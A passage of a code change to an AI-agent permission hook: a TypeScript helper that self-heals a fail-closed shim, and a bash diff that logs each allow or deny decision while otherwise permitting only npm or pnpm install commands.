path.dirname(dir);\n if (parent === dir) break;\n dir = parent;\n }\n const env = process.env['CLAUDE_PROJECT_DIR'];\n if (env && fs.existsSync(shimPath(env))) return env;\n return null;\n}\n\n// Best-effort: keep the committed shim identical to renderShim() so the fail-closed escape hatch and\n// allowlist never drift. Only rewrites an EXISTING shim (never creates one) so global installs are\n// untouched. NEVER throws — a self-heal must never block or crash a tool call.\nexport function healShim(cwd: string): void {\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions\n try {\n const root = findShimRoot(cwd);\n if (!root) return;\n const target = shimPath(root);\n const desired = renderShim();\n if (fs.readFileSync(target, 'utf8') === desired) return;\n fs.writeFileSync(target, desired, { mode: 0o755 });\n fs.chmodSync(target, 0o755);\n } catch (err: unknown) {\n //const error = toError(err);\n // Ignore: healing is a convenience, not part of the guard decision.\n }\n}\n"]}
@@ -22,9 +22,20 @@ fi
22
22
  PAYLOAD="$(cat)"
23
23
  CMD="$(printf '%s' "$PAYLOAD" | sed -n 's/.*"command"[[:space:]]*:[[:space:]]*"\([^"\\]*\)".*/\1/p')"
24
24
  TOOL="$(printf '%s' "$PAYLOAD" | sed -n 's/.*"tool_name"[[:space:]]*:[[:space:]]*"\([^"\\]*\)".*/\1/p')"
25
- if printf '%s' "$CMD" | grep -Eq '^(pnpm|npm) install([[:space:]]+--[A-Za-z][A-Za-z-]*)*[[:space:]]*$'; then
25
+ # Best-effort audit trail of every decision the fail-closed shim makes WHILE THE GUARDS ARE DOWN, so a
26
+ # human can inspect after something odd (an install that was denied, or one that slipped through). One
27
+ # tab-separated line per call → <root>/.webpieces/logs/ai-hook-shim.log (gitignored). NEVER breaks or
28
+ # blocks the hook: all writes are best-effort (|| true) and go to a file, never to stdout (stdout is
29
+ # the PreToolUse decision channel — a stray byte there would corrupt allow/deny).
30
+ LOG_DIR="$ROOT/.webpieces/logs"
31
+ wp_log() { # $1 = decision label (ALLOW-INSTALL | DENY)
32
+ { mkdir -p "$LOG_DIR" 2>/dev/null && printf '%s\t%s\t%s\t%s\t%s\n' "$(date '+%Y-%m-%dT%H:%M:%S%z' 2>/dev/null)" "$BIN_NAME" "$TOOL" "$1" "$CMD" >> "$LOG_DIR/ai-hook-shim.log"; } 2>/dev/null || true
33
+ }
34
+ if printf '%s' "$CMD" | grep -Eq '^(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*[[:space:]]*$'; then
35
+ wp_log ALLOW-INSTALL # record the self-heal we let through
26
36
  exit 0 # allow the installer so the assistant can self-heal the deadlock
27
37
  fi
38
+ wp_log DENY # record every fail-closed block for later inspection
28
39
  # Not an installer command → FAIL CLOSED. Deny via Claude Code's PreToolUse JSON protocol
29
40
  # (permissionDecision "deny" on stdout, then exit 0) rather than a bare "exit 2". BOTH block the call,
30
41
  # but the reason must be made visible, and HOW depends on the tool (verified by live tests; the docs